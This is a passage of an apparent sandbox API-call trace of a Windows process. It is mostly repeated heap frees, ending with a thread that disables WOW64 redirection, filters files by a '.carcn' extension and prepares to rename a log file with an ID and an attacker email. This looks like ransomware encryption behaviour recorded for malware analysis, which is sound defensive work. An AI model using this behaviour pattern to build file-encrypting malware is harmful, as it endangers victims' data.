1 [0178.770] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.772] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.773] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.776] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.778] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.781] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.786] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.787] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.303] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.448] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.459] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.461] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.462] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.463] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.465] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.467] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.468] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.469] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.475] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.477] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.502] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.503] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.507] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.507] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.509] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.509] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0179.513] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.526] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.528] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.531] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.538] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.540] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.547] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.549] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.703] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.708] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.711] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.717] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.722] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.724] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.727] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.730] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.733] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.736] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.739] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.741] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0179.744] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.150] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.152] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.213] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.215] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.219] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.221] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.223] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.225] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.226] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.247] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.247] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.247] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.248] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.650] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.650] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.656] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.658] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.660] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.661] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.664] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.666] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.668] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.670] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.690] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.693] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.696] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0180.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.086] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.086] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0181.086] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0181.091] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.092] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.093] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0181.095] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0181.098] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0181.100] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.100] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0181.101] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.101] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.101] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0181.107] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.108] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0181.108] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43300c0 | out: hHeap=0x790000) returned 1 [0181.108] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43300c0 | out: hHeap=0x790000) returned 1 [0181.109] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43300c0 | out: hHeap=0x790000) returned 1 [0181.109] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.110] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.110] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43300c0 | out: hHeap=0x790000) returned 1 [0181.110] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.275] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.275] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.413] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.413] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.646] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0181.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0181.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0181.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.866] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0181.866] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0181.931] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0181.932] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0181.932] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.422] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.463] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0184.477] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0184.509] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0184.509] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.527] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.527] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.527] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.528] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.528] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.529] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.531] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.531] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.531] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.531] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.538] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.539] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.550] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.552] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.552] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.552] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.553] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.554] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.554] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.555] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.555] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.556] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.556] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.557] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.558] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.559] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.560] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.560] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.561] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.561] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.561] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.561] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.561] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.561] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.562] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.562] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.563] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.564] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.564] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.567] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0184.569] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0184.569] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0184.580] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 Thread: id = 16 os_tid = 0x720 [0157.941] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3b214e0 [0157.941] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3b314e8 [0157.942] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecc48 [0157.942] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x81d268 [0157.942] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7eccd8 [0157.942] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3df4020 [0157.945] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7eccf0 [0157.945] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7eccf0, Size=0x20) returned 0x7cec80 [0157.945] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecd68 [0157.945] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecd68, Size=0x20) returned 0x7cea00 [0157.945] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0157.945] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0157.946] Wow64DisableWow64FsRedirection (in: OldValue=0x33aff50 | out: OldValue=0x33aff50*=0x0) returned 1 [0157.946] lstrlenW (lpString="kernel32.dll") returned 12 [0157.946] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cec80 | out: hHeap=0x790000) returned 1 [0157.946] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.946] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0157.946] Sleep (dwMilliseconds=0x64) [0158.073] lstrcmpiW (lpString1=".log", lpString2=".carcn") returned 1 [0158.073] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0158.073] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0158.719] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=42674) returned 1 [0158.719] CloseHandle (hObject=0x304) returned 1 [0158.719] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0158.719] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.719] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0158.719] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, 